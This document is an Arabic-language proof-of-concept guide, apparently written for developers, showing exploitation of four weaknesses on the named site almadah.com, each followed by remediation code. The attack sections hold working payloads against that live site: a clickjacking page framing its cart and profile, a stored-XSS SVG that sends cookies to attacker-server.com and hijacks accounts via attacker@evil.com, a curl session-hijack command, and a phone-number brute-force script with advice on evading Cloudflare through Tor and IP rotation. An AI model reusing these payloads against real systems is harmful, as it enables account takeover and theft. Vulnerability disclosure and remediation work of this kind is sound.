PoC
دليل سيناريوهات الاستغلال (Proof of Concept)

الدليل ده بيوضح سيناريوهات استغلال واقعية للثغرات المكتشفة في almadah.com. الهدف هو توضيح خطورة كل ثغرة لفريق التطوير عشان يفهموا ليه الإصلاح ضروري. كل سيناريو مرفق بكود العلاج.

ممنوع استخدام ده ضد أي موقع بدون إذن

استغلال الثغرات بدون إذن صريح من صاحب الموقع جريمة بموجب قوانين الجرائم الإلكترونية. اختبر بس على بيئات محلية أو بيئات staging الخاصة بيك.

01
Clickjacking عبر غياب X-Frame-Options
VULN-001 عالية CWE-1021

وصف الثغرة

الموقع مالوش X-Frame-Options header، يعني أي موقع تاني ممكن يحط almadah.com جوه iframe ويتحكم فيه. ده بيسمح بهجوم Clickjacking اللي بيخدع المستخدم يدوس على حاجة وهو مش واخد باله.

سيناريو الاستغلال

الخطوة 1: إنشاء صفحة خبيثة

المهاجم بيعمل HTML page بسيط يحتوي على iframe لـ almadah.com:

clickjacking_poc.html
<!DOCTYPE html> <html> <head> <title>عرض خاص - خصم 90%</title> <style> body { margin: 0; overflow: hidden; } #victim { position: absolute; top: -350px; left: -500px; width: 2000px; height: 2000px; opacity: 0.0001; /* شبه مخفي */ z-index: 1; } #decoy { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 2; text-align: center; } .fake-btn { padding: 20px 60px; background: #27ae60; color: white; border: none; border-radius: 8px; font-size: 20px; cursor: pointer; } </style> </head> <body> <!-- iframe يحمل الموقع المستهدف --> <iframe id="victim" src="https://almadah.com/cart"></iframe> <div id="decoy"> <h1>ادخل للسحب على iPhone مجاناً!</h1> <button class="fake-btn">ادخل السحب الآن</button> </div> </body> </html>

الخطوة 2: توجيه المستخدم

1

نشر الرابط

بعت الرابط للضحية عن طريق رسالة واتساب، إيميل تصيد، أو بوست على سوشيال ميديا بعنوان جذاب: "عرض حصري: خصم 90% على مواد البناء!"

2

الضحية يفتح الصفحة

الضحية يشوف صفحة "سحب على iPhone" زريفة، وبيدوس على الزر الأخضر الكبير.

3

الضغطة الحقيقية

بسبب الـ opacity 0.0001 على الـ iframe، الضحية فعلياً بيدوس على زر "تأكيد الطلب" أو "إضافة للعربة" في almadah.com اللي موجود وراء الديكوي.

4

النتيجة

طلب غير مقصود اتعمل! لو الضحية مسجل دخول، الطلب ممكن يتنفذ مباشرة على عنوانه المحفوظ.

نسخة متقدمة: تغيير الإيميل

لو عرفت إن الضحية مسجل دخول، ممكن توجهه لصفحة "تعديل الملف الشخصي" وتخلي يدوس على حفظ التغييرات - بس الإيميل اللي هيتغير هو إيميل المهاجم:

clickjacking_account_takeover.html
// هنا الـ iframe موجه لصفحة تعديل الملف الشخصي <iframe id="victim" src="https://almadah.com/user/profile" style="position:absolute;top:-200px;left:-300px;opacity:0.0001;"> </iframe> // الضحية بيدوس على زر "حفظ" اللي هو فعلياً زر "تغيير الإيميل"

كود العلاج

nginx - أضف في server block
add_header X-Frame-Options "SAMEORIGIN" always;
أو CSP (أفضل طريقة حديثة)
add_header Content-Security-Policy "frame-ancestors 'self';" always;
02
Stored XSS عبر رفع ملفات SVG
VULN-002 عالية CVE-2023-51221

وصف الثغرة

Active eCommerce CMS بيسمح برفع ملفات SVG. ملفات SVG ممكن تحتوي على JavaScript ينفذ لما يتعرض في المتصفح. ده نوع من Stored XSS - الكود المخزن بيفضل موجود في السيرفر وينفذ لكل مستخدم يشوف الصورة.

سيناريو الاستغلال

الخطوة 1: إنشاء ملف SVG خبيث

الملف ده يبدو صورة SVG عادية بس فيه payload JavaScript:

malicious.svg
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <rect width="100" height="100" fill="blue"/> <script> // 1. سرقة كوكيز الجلسة var cookies = document.cookie; // 2. بعتها لسيرفر المهاجم fetch('https://attacker-server.com/steal?c=' + encodeURIComponent(cookies)); // 3. أو أ peform action نيابة عن المستخدم fetch('https://almadah.com/cart/add', { method: 'POST', headers: { 'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]')?.content }, body: 'product_id=123&quantity=1' }); </script> </svg>

الخطوة 2: رفع الملف

1

سجل حساب بائع

سجل حساب بائع عادي من /shop/registration/verification. ده بيديك صلاحية رفع صور منتجات.

2

ارفع صورة المنتج

روح لـ "إضافة منتج" وارفع الـ malicious.svg كصورة المنتج. الموقع هيقبله عادي لأن الـ MIME type بيكون image/svg+xml.

3

انتظر الضحايا

أي زائر يفتح صفحة المنتج، المتصفح بيrendrer الـ SVG وينفذ الـ JavaScript جواه تلقائياً.

4

استلم الكوكيز

على سيرفر المهاجم، استلم الـ cookies اللي جات من كل ضحية:

# Server logs on attacker-server.com
GET /steal?c=almadah_almad_session%3Dabc123...%3B%20XSRF-TOKEN%3Dxyz789...

الخطوة 3: استخدام الكوكيز المسروقة (Session Hijacking)

1

Browser DevTools أو curl

استخدم الـ session cookie المسروق للدخول كالضحية:

# باستخدام curl
curl -H "Cookie: almadah_almad_session=abc123...; XSRF-TOKEN=xyz789..." \
     -H "X-XSRF-TOKEN: xyz789..." \
     https://almadah.com/user/profile

# أو في المتصفح - افتح DevTools > Application > Cookies
# غيّر قيمة almadah_almad_session للقيمة المسروقة وا refresh

نسخة متقدمة: استغلال AJAX باستخدام CSRF Token

الموقع بيستخدم Laravel CSRF protection بـ XSRF-TOKEN cookie. لأن الـ XSS بيشتغل من نفس النطاق (Same-Origin)، المهاجم ممكن يقرأ الـ CSRF token من الـ meta tag ويستخدمه لعمل requests حقيقية:

xss_advanced_payload.svg (الجزء الداخلي)
<script> // قراءة الـ CSRF token من meta tag var csrf = document.querySelector('meta[name="csrf-token"]')?.content; // تغيير إيميل المستخدم نيابة عنه var formData = new FormData(); formData.append('_token', csrf); formData.append('email', 'attacker@evil.com'); formData.append('password', 'FakePassword123'); fetch('https://almadah.com/user/profile/update', { method: 'POST', body: formData, credentials: 'include' }).then(function() { // بعد تغيير الإيميل: إعادة تعيين كلمة المرور! fetch('https://almadah.com/password/reset', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'email=attacker@evil.com&_token=' + csrf }); }); </script>
النتيجة: Account Takeover كامل

بمجرد تغيير الإيميل لإيميل المهاجم، بقى ممكن يطلب "نسيت كلمة المرور" ويرسل رابط إعادة التعيين لإيميله هو. كده بياخد تحكم كامل في الحساب.

كود العلاج

1. حظر SVG من الرفع
// في AizUploaderController.php أو مكان الرفع
$forbiddenExtensions = ['svg', 'svgz', 'html', 'htm', 'xhtml'];
$forbiddenMimes = ['image/svg+xml', 'text/html'];

if (in_array($file->getMimeType(), $forbiddenMimes)) {
    return response()->json(['error' => 'File type not allowed'], 403);
}
2. Content-Type Header على الملفات المرفوعة
// nginx - فرض Content-Type على الملفات
location ~* \.(svg|svgz)$ {
    add_header Content-Type "text/plain" always;
    add_header X-Content-Type-Options "nosniff" always;
}
03
Brute Force على تسجيل الدخول
VULN-003 متوسطة CWE-307

وصف الثغرة

صفحة تسجيل الدخول /users/login مالهاش rate limiting ولا CAPTCHA ولا account lockout. ده بيسمح للمهاجم يجرب آلاف كلمات المرور تلقائياً من غير ما يتكشف.

سيناريو الاستغلال

الخطوة 1: جمع أرقام الهواتف المستهدفة

في السعودية، أرقام الجوال بتبدأ بـ 05 وتتكون من 10 أرقام. ممكن تجمع أرقام من:

الخطوة 2: هجوم القاموس (Dictionary Attack)

المهاجم بيستخدم أداة زي Hydra أو Burp Intruder أو سكريبت بسيط:

brute_force.py
import requests import time URL = "https://almadah.com/users/login" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "X-Requested-With": "XMLHttpRequest" } # قائمة أرقام هواتف مستهدفة phone_numbers = ["0512345678", "0555555555", "0588888888"] # قائمة كلمات مرور شائعة passwords = [ "123456", "12345678", "password", "almadah", "123456789", "123123", "000000", "1234567890", "qwerty", "saudi123", "111111", "222222", "999999" ] for phone in phone_numbers: for pwd in passwords: data = { "email": "", "phone": phone, "password": pwd, "remember": "false" } resp = requests.post(URL, data=data, headers=HEADERS, allow_redirects=False) if resp.status_code == 302 and '/dashboard' in resp.headers.get('Location', ''): print(f"[+] SUCCESS! Phone: {phone} | Password: {pwd}") break else: print(f"[-] Failed: {phone} / {pwd}") # Low-and-slow: انتظر 3-5 ثواني بين كل محاولة عشان تتجنب Cloudflare time.sleep(3)

الخطوة 3: Low-and-Slow Attack

عشان تتجنب كشف Cloudflare، المهاجم بيقلل السرعة:

1

انتظار عشوائي

محاولة واحدة كل 3-10 ثواني (random delay). كده 100 محاولة بتاخد ~15 دقيقة بس.

2

تدوير IP addresses

استخدام VPN أو Tor أو proxy servers عشان الـ IP يتغير كل شوية. Cloudflare بيعدّ الـ requests من نفس IP بس.

3

User-Agent حقيقي

استخدام User-Agent حقيقي لمتصفح عادي عشان ما يتكشفش كـ bot.

الخطوة 4: Credential Stuffing

لو فيه قاعدة بيانات مسربة (breached credentials)، المهاجم بيجرب نفس الإيميل + كلمة المرور المسروقة:

# استخدام ملف credentials مسروق من تسريب قديم
for cred in leaked_credentials:
    email = cred['email']
    password = cred['password']
    # جرب نفس الإيميل على almadah.com - ناس كتير بتستخدم نفس الباسورد

كود العلاج

1. Rate Limiting في Laravel
// routes/web.php
Route::post('/users/login', [LoginController::class, 'login'])
    ->middleware('throttle:5,1');  // 5 محاولات في الدقيقة

// في RouteServiceProvider.php
RateLimiter::for('login', function (Request $request) {
    return Limit::perMinute(5)->by($request->ip());
});
2. Google reCAPTCHA v2
composer require anhskohbo/no-captcha

// في نموذج تسجيل الدخول
{!! NoCaptcha::display() !!}

// في LoginController
$request->validate([
    'g-recaptcha-response' => 'required|captcha',
]);
3. Account Lockout
// قفل الحساب بعد 5 محاولات فاشلة
if (Auth::attempt($credentials)) {
    // نجاح
} else {
    // سجل المحاولة الفاشلة
    FailedLoginAttempt::create([
        'ip' => $request->ip(),
        'email' => $request->email,
    ]);

    // قفل الحساب لو فيه 5 فاشلة في 15 دقيقة
    $failedCount = FailedLoginAttempt::where('email', $request->email)
        ->where('created_at', '>', now()->subMinutes(15))
        ->count();

    if ($failedCount >= 5) {
        // قفل الحساب لـ 30 دقيقة
    }
}
04
Information Disclosure - تسريب معلومات
VULN-004 متوسطة CWE-200

معلومات مسربة ظاهرة

1. إصدار nginx

curl -I https://almadah.com/nonexistent
HTTP/2 404 ... Server: nginx/1.24.0 <-- إصدار nginx ظاهر ...

2. مسار الملفات على السيرفر

curl https://almadah.com/sitemap.xml
<?xml version="1.0" encoding="UTF-8"?> <!-- المسار: /www/wwwroot/new.almadah.com/sitemap.xml --> <!-- ده بيكشف إن الموقع شغال على path معين على السيرفر -->

3. التقنيات من الـ Headers و CSS

1

جمع معلومات عن التقنيات المستخدمة

من تحليل الـ response:

// Laravel CSRF token ظاهر في كل صفحة
<meta name="csrf-token" content="ABC123...">

// Active eCommerce CMS إصدار ظاهر
<link rel="stylesheet" href="https://almadah.com/assets/css/aiz-core.css?v=7293">

// Bootstrap RTL مع jQuery
<script> jQuery(...).modal('show'); </script>

إزاي المهاجم يستخدم المعلومات دي

  1. nginx 1.24.0: دور على CVEs معروفة في nginx 1.24.0 في exploit-db.com
  2. Active eCommerce CMS: دور على ثغرات معروفة في النسخة دي (CVE-2023-51221 موجودة بالفعل)
  3. المسار /www/wwwroot/: ده بيوضح إن السيرفر مستضاف على panel شايع (panel.bt.cn أو aaPanel) وده ليه exploits معروفة
  4. jQuery: إصدارات قديمة من jQuery ليها XSS vulnerabilities معروفة

كود العلاج

nginx
server_tokens off;

# صفحات خطأ مخصصة
error_page 404 /errors/404.html;
error_page 500 502 503 504 /errors/50x.html;
Laravel .env
APP_DEBUG=false
APP_ENV=production
# ملاحظة: في production الـ debug لازم يكون false عشان
# ما يظهرش stack traces في صفحات الخطأ
FIX
ملخص الإصلاحات (Copy-Paste Ready)
nginx.conf - كامل
server {
    listen 443 ssl http2;
    server_name almadah.com;

    # ===== إخفاء معلومات السيرفر =====
    server_tokens off;

    # ===== الهيدرز الأمنية =====
    add_header X-Frame-Options           "SAMEORIGIN" always;
    add_header X-Content-Type-Options    "nosniff" always;
    add_header X-XSS-Protection          "1; mode=block" always;
    add_header Referrer-Policy           "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy        "camera=(), microphone=(), geolocation=()" always;
    add_header Content-Security-Policy   "default-src 'self'; script-src 'self' 'unsafe-inline' https://fonts.googleapis.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https:; font-src 'self' https://fonts.gstatic.com; frame-ancestors 'self'; base-uri 'self';" always;

    # ===== حظر SVG =====
    location ~* \.(svg|svgz|html|htm)$ {
        add_header Content-Type "text/plain" always;
        add_header X-Content-Type-Options "nosniff" always;
        return 403;
    }

    # ===== صفحات خطأ مخصصة =====
    error_page 404 /errors/404.html;
    error_page 500 502 503 504 /errors/50x.html;

    # ===== باقي الإعدادات ... =====
}
Laravel - Rate Limiting + Session Security
// app/Providers/RouteServiceProvider.php
RateLimiter::for('login', function (Request $request) {
    return Limit::perMinute(5)->by($request->ip());
});

// config/session.php
'secure'    => true,
'same_site' => 'lax',
'http_only' => true,

// .env
APP_DEBUG=false
SESSION_SECURE_COOKIE=true

جدول الأولويات

خطة العلاج بالأولوية
الإجراءالأولويةالوقت
X-Frame-Options + CSP headersفوري10 دقائق
حظر SVG في الرفعفوري15 دقيقة
server_tokens offفوري2 دقيقة
تحديث Active eCommerce CMSعاجل1-2 ساعة
Rate Limiting على Loginعاجل30 دقيقة
reCAPTCHAقريب1 ساعة
SameSite cookiesقريب10 دقائق
security.txtمتوسط5 دقائق